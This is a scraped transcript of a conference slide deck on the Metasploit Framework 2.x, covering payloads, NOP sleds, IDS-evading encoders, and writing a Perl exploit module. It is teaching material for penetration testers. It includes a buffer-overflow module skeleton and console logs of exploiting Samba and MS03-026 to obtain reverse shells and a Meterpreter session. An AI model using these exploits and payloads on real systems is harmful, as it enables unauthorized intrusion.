Presentation is loading. Please wait.

Presentation is loading. Please wait.

Metasploit Deux ~~intropy~~. What we did last time Covered some basics msfconsole msfcli Environment variables Locale context variables (set) Global context.

Similar presentations

Presentation on theme: "Metasploit Deux ~~intropy~~. What we did last time Covered some basics msfconsole msfcli Environment variables Locale context variables (set) Global context."— Presentation transcript:

1 Metasploit Deux ~~intropy~~

2 What we did last time Covered some basics msfconsole msfcli Environment variables Locale context variables (set) Global context variables (setg) Saving variables Showed some exploits MS-04-011 Samba_trans2open Launched a few failed demos VNC demo Reverse Connect demo

3 What has changed since New version 2.4 New msfweb interface with improved handling Updated exploits for more reliable exploitation 33 New exploits (Including 2.3) Aim_goaway iis_w3who_overflow solaris_dtspcd_noir wins_ms04_045 SunRPC and XDR Perl API General Payload improvements PassiveX payload Loads arbitrary ActiveX through Internet Explorer Loads the stage 2 payload over HTTP Interact with cmd.exe, VNC, Meterpreter over HTTP

4 What we will cover The framework in general Directory structure Encoders Generators Payloads Modules Impurity Meterpreter

5 General Frameworkery Getting your feet wet

6 What is the Framework? The Metasploit project decided to create a development framework for exploits. An environment for interested parties to quickly and easily develop code. On the surface it contains a handful of exploits that you can launch against a box and potentially own it. But under the hood it has a massive amount of flexability and technology that allows you to effectively build a real working exploit for your own purposes.

7 What the Framework isnt The Framework is not an attack tool developed for joe hacker to compromise NASA, but as a general interface for testing and writing exploits. If you think this will make you a l33t h4ck3r please pull your head out of your ass.

8 Coporate equivalents Currently there are 2 competing companies developing “Penetration testing tools/suites” Immunity Security (Dave Aitel) CANVAS Written in Python Tinkering and expanding is encouraged Smart system call proxying Costs around $1,300 CORE Security Technologies IMPACT Comprehensive automated penetration Several exploits Detailed reporting Fully automated penetration testing Costs around $10,000 (IIRC)

9 Installing the Framework On UNIX To install the Framework on your UNIX machine simply download the latest release to a working directory. Extract the tarball and change into the created directory (framework-2.3/). Since it is written in PERL you should be able to simply execute the UI of your choice. It is recommended to also install the supporting PERL modules from $MSFDIR/extras. These allow command completion and SSL support. To install to a system wide location copy the entire tree to a directory (/usr/local/msf) and create symlinks from the msf* applications to a system wide binary path like /usr/local/bin. User created modules can be place in their home directory but need to reside under the ~/.msf directory. On Windows A downloadable installer utilizing Cygwin is provided on the Metasploit site. This installer is a stipped down version of Cygwin and includes everything you need to act like its UNIX counterpart

10 The Framework directory structure

11 ./data The data directory countains supporting data for some of the Framework function. meterpreter/-Supporting files for the meterpreter msfweb/-Supporting files for the msfweb user interface shelldemo-A shelldemo for meterpreter vncdll.dll-The VNC dll for use with the VNC payload

12 ./docs The docs directory contains several documents about the Framework. The Environment reference and Quickstart guides are particularly useful. Environment.txt-Environment variable reference text meterpreter.pdf-Meterpreter user guide QUICKSTART.impurity-Impurity quickstart guide QUICKSTART.msfcli-Metasploit command line interface quickstart guide QUICKSTART.msfconsole-Metasploit console interface quick start guide QUICKSTART.msfweb-Metasploit web interface quickstart guide RELEASE_2.3.txt-Framework 2.3 release notes SECURITY-Using the Framework securely userguide.pdf-Framework user guide

13 ./exploits This directory contains the actual modules that constitute an exploit the Framework can use. A couple of the entries are listed below

14 ./extras The extras directory contains two PERL modules which enable SSL and command completion/history respectively. If you use the msfconsole installing these is highly recommended. SSL module which enables the SSL option in an exploit module Term-ReadLine-Gnu-1.14.tar.gz-PERL ReadLine module which enables command completion of all the options in the msfconsole. Installing this is almost a must.

15 ./lib The lib directory contains several PERL modules that aide in creation of exploits. Several of these are required in all Framework exploits while others are helper modules for exploitation like Digest/-Contains the module for computing the digest Msf/-Base Framework modules for working with the various aspects of the environment NetPacket/-Network helpers like TCP/UDP/ICMP base class Pex/-Contains lots of neat modules for use in the exploit modules like MSSQL/DCERPC/SMB classes base class

16 ./encoders All encoders available in your exploits can be found here. alphanumeric encoder countdown encoder XOR encoder encoder XOR PPC encoder Tag PPC encoder alphanumeric encoder Mov encoder encoder encoder Dword encoder based encoder XOR encoder

17 ./nops A NOP is a “No Operation” in the x86 architecture. This directory contains several PERL modules designed for generating NOPs on several platforms and architectures alpha nops nops on MIPS instruction length nop generator Pex libraries nops for the PPC architecture nops

18 ./payloads This directory contains the actual PERL modules that generate and handle payload creation in your exploit and the framework. A few are listed below.

19 ./sdk The sdk directory was created to help in understanding the method of exploit development in the Framework. The docs directory contains a few example exploits and reference texts. docs/ exploitReference.txt-A reference on the available functions and declarations exploitTutorial.txt-A tutorial outlining and detailing exploit creation commented real world Framework exploit example that goes with the tutorial example that goes with the tutorial example that goes with the tutorial vuln1.c-An example vulnerable program written in c example that goes with the tutorial for osx string overwrite generator a pattern in memory and dumps offset/addr to extract things from code

20 ./src The src directory contains all the source code for the meterpreter, VNC, and other shellcodes used in the Framework. If you are looking for some reference on the asm in the shellcode this is a good place to look. Also if you are looking for a good reference on dll injecting the VNC source is here as a guide. meterpreter/-Source for the meterpreter binaries shellcode/-Source to all the shellcode used in the Framework including the VNC dll’s

21 ./tools The tools directory includes some helper applications for exploit research and development. memdump.c-Source code for memdump memdump.exe-Dumps the memory of a running process README.memdump-README for memdump README.socketNinja-README for socketNinja creates a listener and handler for all incoming socket connections. This can be used if you are exploiting multiple hosts to manage your shells

22 NOP Generators The chips and salsa

23 What they are NOPs are “No Operations”. Effectively this means an instruction that doesn’t do anything. NOPs are usually created for timing. However in an exploit these can be leveraged to help the target computer get to our payload.

24 What they do As stated before they don’t do anything. However in exploit development they allow the attacker to guess at the return address of the crashing program. This provides more reliability when exploiting programs

25 What is the point The point is to get our target to execute our code. To make it execute our code we use a no operation so we do not have to be exact in our code. By allowing us some flexibility in our exploit we can target several platforms regardless of minor stack changes [0xbfffed80][\x90\x90\x90\x90\x90][payload]

26 What the Framework provides As we saw in the./nops directory the Framework provides countless number of NOPs for use in an exploit. Each architecture has a different method of achieving a no operation and often times (as in x86) there are 50+ different NOPs. Since many IDS systems watch for the typical 0x90 instruction using different combinations make pattern matching detection harder for anyone watching.

27 Payloads If this was dinner payloads are the steak

28 What they are A payload is our meat. The code or command we want a target to execute on our behalf. Payloads use to be referred to as shellcode which is a little misleading as it is not always a shell you are executing

29 What they do Payloads do whatever we want. This can be a program that connects to our host giving us a shell. This can also be a command like ‘useradd intropy’. When we exploit a program the payload will be the new task running once we control execution

30 What is the point The fucking point is to run your own code instead of the intended code. No one wants a foreign intruder to have the capability of doing this and that is the point. Our payload (aka code) runs when the program has been exploited and control is in our hands.

31 What does the Framework provide Probably one of the greatest benefits of the Framework is the number of payloads available. The list is comprehensive and reliable. We have all the control we want from a simple port bind on Linux. To your own program being uploaded through a secure socket and run. This gives the exploiter many options. For instance if you are exploiting a host behind a firewall that allows outbound traffic the reverse connect back shell would call out to you for control…how’s that for service.

32 Encoders Putting your food in a to-go box

33 What they are An encoder scrambles our NOPs and payloads. There are several methods well documented on different encoding but effectively this hides our exploit from prying eyes

34 What they do Most encoders use an algorithm to change parts of the payload. This algorithm often times includes a decoder so that when the payload reaches its target the machine can understand what it really needs to do after it runs the decoder

35 What is the point Modern IDS system will watch traffic on a network. When it spots traffic with a known attack signature it will alert its owner. With an encoder we can hinder this by scrambling the data with an encoder effectively making this look like normal traffic or garbage.

36 How do you stop them Most people try and stop the encoder by keying off the method used. For instance a well known type of encoding was developed by K2 of ADM in his program ADMmutate. This effectively changed the payload of the exploit each time it was ran. Instead of looking for a static string to match on, the morphed NOP sled and payloads are checked against the encoding method/algorithm.

37 What the Framework provides Several encoders are included with the Framework. Just like payloads they are mostly available to all exploits. Encoders which can convert payload to plain ASCII and XOR based off a key are fairly useful.

38 Creating a Module Adding your own exploit

39 What is a module? A module for all intents and purposes is an exploit. The framework uses the PERL module system to define and access needed information. Your exploit will in fact be a working PERL module. We define methods and variables, or call external functions in a easy, well documented way.

40 What is required? A few things are needed by every new module/exploit. One of the most important is the package declaration. package Msf::Exploit::my_new_sploit; This tells the UI to load the module and all methods upon execution. Be aware that your exploit name, package, and file need to all match exactly or the Framework will not find it. Next we define some base classes and helper modules use base ‘Msf::Exploit’; use Msf::Socket::Tcp; use Pex::Text;

41 Cont… Lets move on to some required variables. my $advanced = { }; The advanced hash allows us to define advanced features we may want to use in our modules. Some of the options include StackTop-Top address of a brute force StackBottom-Bottom address of a brute force IgnoreErrors-Ignore module errors By declaring advanced features we can allow the person using this module to make changes as they see fit. Someone might want to ignore errors and this allows them to in the UI.

42 Cont… Moving right along, we have the info hash. This variable is required for defining information characteristics of your module. Below is an example. my $info = { ‘Name’=>‘Name of your Exploit’, ‘Version’=>‘Module version info’, ‘Authors’=>[ ‘intropy intropy’,], ‘Arch’=>[ ‘x86’ ], ‘OS’=>[ ‘linux’, ], ‘Priv’=>1,

43 Cont… ‘UserOpts’=> { ‘RHOST’=>[1, ‘ADDR’, ‘the target’, ‘’], ‘RPORT’=>[1, ‘PORT’, ‘the target port’, 214], }, ‘Payload’=> { ‘Space’=>2000, ‘BadChars’=>“”, ‘MinNops’=>16, } ‘Description’=>Pex::Text::Freeform(qq{ This is a description of our exploit/module. }), ‘Refs’=>[ ‘’ ], ‘Targets’=>[ ‘Linux’, 0xbfffffff ], } Here we define some options for the user to control like target addr and port. We also set up our payload, give a description to the module, some references and a target to go after.

44 Cont… I will put these two methods, new and Exploit, below for reference as we will cover them in the demo. sub new { my $class = shift; my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_); return($self); } sub Exploit { my $self = shift; my $targetHost = $self->GetVar('RHOST'); my $targetPort = $self->GetVar('RPORT'); my $targetIndex = $self->GetVar('TARGET'); my $target = $self->Targets->[$targetIndex]; my $ret = $target->[1]; my $encodedPayload = $self->GetVar('EncodedPayload'); my $shellcode = $encodedPayload->Payload;

45 Cont… my $sock = Msf::Socket::Tcp->new( 'PeerAddr' => $targetHost, 'PeerPort' => $targetPort, ); if($sock->IsError) { $self->PrintLine('Error creating socket: '. $sock->GetError); return; } my $evil = 'A' x $self->GetLocal('PreRetLength'); $evil.= pack('V', $ret) x int($self->GetLocal('RetLength') / 4); $evil.= $shellcode; $sock->Send($evil); return; }

46 Bruteforce The Framework provides a very clear way to allow your modules to bruteforce return values. In the advanced options we define a few variables we looked at previously. my $advanced = { # Where to start brute forcing 'StackTop' => ['', 'Start address for stack ret bruteforcing, empty for defaults from target'], # Where to stop brute forcing 'StackBottom' => ['', 'End address for stack ret bruteforcing, empty for defaults from target'], # The increment used during brute forcing, auto calculation is important! 'StackStep' => [0, 'Step size for ret bruteforcing, 0 for auto calculation.'], # How long to wait in between brute force attempts, good to give things a # chance to clean up, and also give the handlers a chance to process a # possible connection. 'BruteWait' => [.4, 'Length in seconds to wait between brute force attempts'], # An exploit vector value, probably not going to be changed 'RetLength' => [100, 'Length of rets after payload'], # Allow the user to continue on fail 'IgnoreErrors' => [0, 'Keep going even after critical errors.'], };

47 Brutforce cont… By providing a good interface to bruteforcing, it gives us a good way to make unreliable exploits more reliable. As you can gather from the added advanced options we can then loop in our module code starting at the StackTop and going until we hit StackBottom stepping accordingly.

48 Installing for use Because of the way modules are loaded we must move our new exploit/module into the $MSFDIR/exploits/ directory. That’s it. Now when you run the msfconsole you will see your exploit in the list. [root@redhat9 framework-2.3]# ls -la exploits/ -rw-r--r-- 1 root root 3354 Apr 26 04:03 exploits/ [root@redhat9 framework-2.3]# [root@redhat9 framework-2.3]#./msfcli dc214_snomad S Name: dc214 exploit of the snomad server Version: $Revision: 1.1 $ Target OS: linux Keywords: dc214 Privileged: Yes Description: This exploits the demo server used in snomads presentation on exploit development given in Feb. References:

49 Launching in msfconsole Just like the other exploits there are required parameters we defined in the creation of the module. First we will select the module, then fill out requirements, and of course launch the exploit. msf > use dc214_snomad msf dc214_snomad > set RHOST RHOST -> msf dc214_snomad > set TARGET 0 TARGET -> 0 msf dc214_snomad > set PAYLOAD linux_ia32_bind PAYLOAD -> linux_ia32_bind msf dc214_snomad(linux_ia32_bind) > show options Exploit and Payload Options =========================== Exploit: Name Default Description -------- ------ --------- ------------------ required RHOST The target address required RPORT 214 The target port Payload: Name Default Description -------- ------ ------- ----------------------------- required LPORT 4444 Listening port for bind shell Target: Red Hat 8 msf dc214_snomad(linux_ia32_bind) > exploit [*] Starting Bind Handler.

50 *D-D-D-Demo* Creating and launching our custom exploit

51 Impurity Sounds good to me

52 What is Impurity? Impurity is an injection technique developed by Alexander Cuttergo. The technique is a method of inserting code into the memory of a running process.

53 What is the theory By statically linking and mapping a process into the exploited applications memory area we can effectively write a program in c without all the fuss of turning it into shellcode. Now this is achieved in two steps (called stages). The first part is exploiting a process with the linux_ia32_reverse_impurity payload. This contains the necissary assembly code to handle the loading of our program. Once the target process has been exploited and the first stage payload ran it connects back and injects the second stage (aka our impurity compiled program). This may seem like a lot of work but the Framework makes it very simple and straight forward.

54 What is the potential Well imagine being able to write any code you want in C and using it as a payload. Now imagine you can download something you like off the net and have it run as a payload. If that sounds fancy then you have realized some of the potential of using Impurity payloads.

55 Impurity Caveats During my brief use of Impurity and payloads I found a couple caveats. The biggest was malloc() failing. Any call to allocate memory exited from my program. There could be several reasons why but changing everything to static buffers fixed it. Be aware of things like this when debugging your Impurity binary. Also remember to keep things as simple as possible since you will potentially be executing your code In a hostile memory block.

56 How is it used in the Framework The Framework tries to make it as simple as possible to compile and use a program with Impurity. First we would need to write a program, for this example I made a hello world type application. Be aware however that we will be compiling this with diet-libc and thus do not have all the functionality of glibc. To compile this we copy the source to the Impurity directory and edit the make file. Once we complete that typing ‘make’ compiles the source and links it with the Impurity library.

57 Cont… Heres those steps… [root@redhat8 /]# cd /root/metasploit/framework-2.3/src/shellcode/linux/impurity [root@redhat8 impurity]# cat hello_dc214.c main() { printf("\n\nHello dc214\n\n"); } [root@redhat8 impurity]# grep dc214 Makefile all: shelldemo tracepath CAU-term CAU-sniffer hello_dc214 hello_dc214: hello_dc214.c diet gcc -Wl,-T,script-ld-impurity -o hello_dc214 hello_dc214.c -s -static /sbin/chpax -m hello_dc214 >/dev/null 2>&1 || true [root@redhat8 impurity]# make diet gcc -Wl,-T,script-ld-impurity -o hello_dc214 hello_dc214.c -s -static /sbin/chpax -m hello_dc214 >/dev/null 2>&1 || true [root@redhat8 impurity]#

58 Using it in an exploit Ok so now we have a binary ready for world domin^]^]in an exploit. This starts the same as using a regular payload except youll notice the PEXEC option. Yes that is where we put our newly compiled program including the full path. Once that’s changed its all easy sailing. msf samba_trans2open(linux_ia32_reverse_impurity) > set PEXEC /root/metasploit/framework- 2.3/src/shellcode/linux/impurity/hello_dc214 PEXEC -> /root/metasploit/framework-2.3/src/shellcode/linux/impurity/hello_dc214 msf samba_trans2open(linux_ia32_reverse_impurity) > exploit [*] Starting Reverse Handler. [*] Starting bruteforce mode for target Linux x86 [*] Trying return address 0xbffff1fc... [*] Got connection from [*] Sleeping before sending impurity data. [*] Uploading impurity data (6832), Please wait... [*] Executing impurity data. Hello dc214 [*] Exiting Reverse Handler. msf samba_trans2open(linux_ia32_reverse_impurity) >

59 * D-D-D-Demo * The Impurities of CAU

60 Meterpreter Goodness incarnate

61 What is the meterpreter The Meterpreter is short for The Meta- Interpreter. It is an extendable platform for creating a post attack way to implement complex features you wouldn’t want to do in assembly. Think a hackers ‘cmd.exe’. However it is not just limited to the built in command functions. You can create your own modules to use on the target system. Also the meterpreter operates inside the target process. Meaning upon examination a system will not see it run. Unlike executing cmd.exe inside shellcode.

62 Cont… The Meterpreter works in a client server configuration. Where the server mearly acts as a communication and loading mechanism for your dastardly deads. A protocol is designed to handle this communication and can be referenced in the user guide. The extensions can either be for client or server usage and support any language that can create a shared object (DLL) and support the cdecl calling convention*

63 Why do I want this Why wouldn’t you want this? The Meterpreter allows you great flexability post exploitation. You can use the included extensions to do various tasks or write your own DLL to use on the target system. With that said the Meterpreter also uses a technique for remotely injecting the libraries into memory hiding your activity.

64 What is the potential Endless. The Meterpreter packaged with the Framework has a wealth of extensions included. For instance, one of the extensions, Fs, allows for uploading and downloading files to and from the remote machine. However delving into the custom extensions (DLL) lies endless possibilities.

65 How is this used in the Framework Simply. The Framework provides a payload the loads the Meterpreter into the target process creating the server portion. Once that is complete it creates a client instance for your control. The mentioned client/server implementation seems transparent when used inside the Framework but needs to be considered when doing complex tasks.

66 What does it come with A number of extensions are included with the Framework that provide other potentially useful commands. The source code of these extensions is included as an example and can easily be modified for other uses. The following extensions are currently included: Fs Provides interaction with the filesystem on the remote machine. Net Provides interaction with the network stack on the remote machine. Process Provides interaction with processes on the remote machine. Sys Provides interaction with the environment on the remote machine.

67 Using it in an exploit As with everything else using this is as simple as making it the payload. The needed options for setting up the payload should be automatically set (Except the LHOST). After exploitation you can use the built in help command the Meterpreter provides to further your investigation. msf msrpc_dcom_ms03_026 > set PAYLOAD win32_reverse_meterpreter msf msrpc_dcom_ms03_026(win32_reverse_meterpreter) > show options required METDLL /root/metasploit/framework-2.3/data/meterpreter/metsrv.dll The full path the meterpreter server dll msf msrpc_dcom_ms03_026(win32_reverse_meterpreter) > exploit [*] Starting Reverse Handler. [*] Connected to REMACT with group ID 0x1db38 [*] Got connection from [*] Sending Stage (2834 bytes) [*] Sleeping before sending dll. [*] Uploading dll to memory (69643), Please wait... [*] Upload completed meterpreter> [ -= connected to =- ] [ -= meterpreter server =- ] [ -= v. 00000500 =- ] meterpreter> help

68 Cont… meterpreter> use -m Process loadlib: Loading library from 'ext225759.dll' on the remote machine. loadlib: success. meterpreter> help Process Process manipulation and execution commands ------------ ---------------- execute Executes a process on the remote endpoint kill Terminate one or more processes on the remote endpoint ps List processes on the remote endpoint meterpreter> execute -f cmd -c execute: Executing 'cmd'... execute: success, process id is 536. execute: allocated channel 2 for new process. meterpreter> interact 2 interact: Switching to interactive console on 2... interact: Started interactive channel 2. Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-2000 Microsoft Corp. C:\WINNT\system32>

69 * D-D-D-Demo * Multi host proxy attacks

70 Metasploit 3.0 Greater focus. Not just about exploits and payloads. Embedded for use in other applications Staged payloads becoming the norm “Pivoting” though hosts like commercial tools Designed for threads Strong support for automation Test suites Ability to test defensive infrastructures

71 Metasploit 3.0 Cont… The word is the next gen of the Framework will be written in Ruby. Clean and simple language that is easy to learn Strong object model Decent library support Builds natively on Win32 2.x will stay Perl and continue in parallel

72 * VNC Injection Demo * Because odds are this time it works

73 Conclusion The Framework is not just a script kiddie attack tool. A lot has gone into giving a developer/researcher the opportunity to create exploits easily and powerfully. However, the advanced features really give the Framework teeth and solidify it as a viable strong penetration testing tool.

74 References #exploitTutorial f

75 Questions?

76 easy…

Download ppt "Metasploit Deux ~~intropy~~. What we did last time Covered some basics msfconsole msfcli Environment variables Locale context variables (set) Global context."

Similar presentations

Ads by Google